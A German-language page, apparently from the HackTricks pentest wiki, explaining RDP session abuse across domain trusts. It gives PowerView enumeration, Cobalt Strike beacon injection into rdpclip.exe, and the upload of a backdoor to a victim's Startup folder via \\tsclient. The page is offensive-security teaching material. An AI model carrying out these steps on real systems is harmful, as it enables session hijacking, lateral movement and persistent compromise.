Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an dieHackTricksundHackTricks CloudGitHub-Repositories senden.
RDP-Prozesseinspritzung
Wenn die externe Gruppe Zugriff auf RDP zu einem Computer in der aktuellen Domäne hat, könnte ein Angreifer diesen Computer kompromittieren und auf ihn warten.
Sobald dieser Benutzer über RDP zugegriffen hat, kann der Angreifer zu dieser Benutzersitzung wechseln und seine Berechtigungen in der externen Domäne missbrauchen.
# Supposing the group "External Users" has RDP access in the current domain## lets find where they could access## The easiest way would be with bloodhound, but you could also run:Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#orFind-DomainLocalGroupMember-GroupName "Remote Desktop Users"| select -expand ComputerName# Then, compromise the listed machines, and wait til someone from the external domain logs in:net logonsLogged on users at \\localhost:EXT\super.admin# With cobalt strike you could just inject a beacon inside of the RDP processbeacon> psPID PPID Name Arch Session User---------------------------...49601012rdpclip.exe x64 3 EXT\super.adminbeacon> inject 4960 x64 tcp-local## From that beacon you can just run powerview modules interacting with the external domain as that user
Überprüfen Sie andere Möglichkeiten, Sitzungen mit anderen Tools zu stehlenauf dieser Seite.
RDPInception
Wenn ein Benutzer über RDP auf eine Maschine zugreift, auf der ein Angreifer auf ihn wartet, kann der Angreifer in der Lage sein, einen Beacon in die RDP-Sitzung des Benutzers einzufügen und wenn das Opfer sein Laufwerk eingebunden hat, wenn es über RDP zugreift, könnte der Angreifer darauf zugreifen.
In diesem Fall könnten Sie einfach den ursprünglichen Computer des Opferskompromittieren, indem Sie eine Hintertür im Startordner schreiben.
# Wait til someone logs in:net logonsLogged on users at \\localhost:EXT\super.admin# With cobalt strike you could just inject a beacon inside of the RDP processbeacon> psPID PPID Name Arch Session User---------------------------...49601012rdpclip.exe x64 3 EXT\super.adminbeacon> inject 4960 x64 tcp-local# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.## \\tsclient\c is the C: drive on the origin machine of the RDP sessionbeacon> ls \\tsclient\cSize Type Last Modified Name-------------------------dir 02/10/202104:11:30 $Recycle.Bindir 02/10/202103:23:44 Bootdir 02/20/202110:15:23 Config.Msidir 10/18/201601:59:39 Documents and Settings[...]# Upload backdoor to startup folderbeacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startupbeacon> upload C:\Payloads\pivot.exe